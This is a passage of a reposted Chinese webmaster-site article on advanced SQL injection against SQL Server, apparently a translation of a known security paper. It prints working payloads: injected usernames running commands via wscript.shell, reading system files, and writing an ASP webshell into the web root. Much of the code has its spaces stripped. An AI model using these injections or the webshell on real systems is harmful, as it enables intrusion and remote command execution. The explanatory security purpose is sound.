首页 | 源码下载 | 网站模板 | 网页特效 | 广告代码 | 网页素材 | 字体下载 | 书库 | 站长工具
会员投稿 投稿指南 RSS订阅
当前位置:主页>网络编程>SQL server>资讯:SQLServer应用程序中的高级SQL注入

SQLServer应用程序中的高级SQL注入

www.jz123.cn  2008-09-09   来源:   中国建站    袁袁整理    我要投递新闻


Xp_terminate_process提供进程的进程ID,终止此进程

[LinkedServers]
SQLSERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用''sp_addlinkedsrvlogin''过程,当前可信的连接不用登陆就可以访问到服务器。''openquery''函数允许查询脱离服务器也可以执行。

[Customextendedstoredprocedures]
扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。
一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):

Sp_addextendedproc''xp_webserver'',''c:\temp\xp_foo.dll''
在正常的方式下,这个扩展存储过程可以被运行:
execxp_webserver
一旦这个程序被运行,可以使用下面的方法将它除去:
xp_dropextendedproc''xp_webserver''

[将文本文件导入表]
使用''bulkinsert''语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
createtablefoo(linevarchar(8000))
然后执行bulkinsert操作把文件中的数据插入到表中,如:
bulkinsertfoofrom''c:\inetpub\wwwroot\process_login.asp''

可以使用上述的错误消息技术,或者使用''union''选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。

[使用bcp建立文本文件]
使用''bulkinsert''的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。''bcp'',即''bulkcopyprogram''
既然bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。

命令行格式如下:
bcp"select*fromtext..foo"queryoutc:\inetpub\wwwroot\runcommand.asp–c-Slocalhost–Usa–Pfoobar
''S''参数为执行查询的服务器,''U''参数为用户名,''P''参数为密码,这里为''foobar''

[ActiveXautomationscriptsinSQLSERVER]
SQLSERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

(1)这个例子使用''wscript.shell''对象建立了一个记事本的实例:
wscript.shellexample
declare@oint
execsp_oacreate''wscript.shell'',@oout
execsp_oamethod@o,''run'',NULL,''notepad.exe''
我们可以通过指定在用户名后面来执行它:
Username:'';declare@ointexecsp_oacreate''wscript.shell'',@ooutexecsp_oamethod@o,''run'',NULL,''notepad.exe''—

(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件:
--scripting.filesystemobjectexample–readaknownfile
declare@oint,@fint,@tint,@retint
declare@linevarchar(8000)
execsp_oacreate''scripting.filesystemobject'',@oout
execsp_oamethod@o,''opentextfile'',@fout,''c:\boot.ini'',1
exec@ret=sp_oamethod@f,''readline'',@lineout
while(@ret=0)
begin
print@line
exec@ret=sp_oamethod@f,''readline'',@lineout
end

(3)这个例子创建了一个能执行通过提交到的任何命令:
--scripting.filesystemobjectexample–createa''runthis''.aspfile
declare@oint,@fint,@tint,@retint
execsp_oacreate''scripting.filesystemobject'',@oout
execsp_oamethod@o,''createtextfile'',@fout,''c:\inetpub\wwwroot\foo.asp'',1
exec@ret=sp_oamethod@f,''writeline'',NULL,''<%seto=server.createobject("wscript.shell"):o.run(request.querystring("cmd"))%>''
需要指出的是如果运行的环境是WINNT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用''speech.voicetext''对象引起SQLSERVER发声:
declare@oint,@retint
execsp_oacreate''speech.voicetext'',@oout
execsp_oamethod@o,''register'',NULL,''foo'',''bar''
execsp_oasetproperty@o,''speed'',150
execsp_oamethod@o,''speak'',NULL,''allyoursequelserversarebelongto,us'',528
waitfordelay''00:00:05''
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin'';declare@oint,@retintexecsp_oacreate''speech.voicetext'',@ooutexecsp_oamethod@o,''register'',NULL,''foo'',''bar''execsp_oasetproperty@o,''speed'',150execsp_oamethod@o,''speak'',NULL,''allyoursequelserversarebelongtous'',528waitfordelay''00:00:05''--

[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。

上一篇:sql标签嵌套调用实现循环显示栏目文章标签 下一篇:MYSQL使用简述

评论总数:2 [ 查看全部 ] 网友评论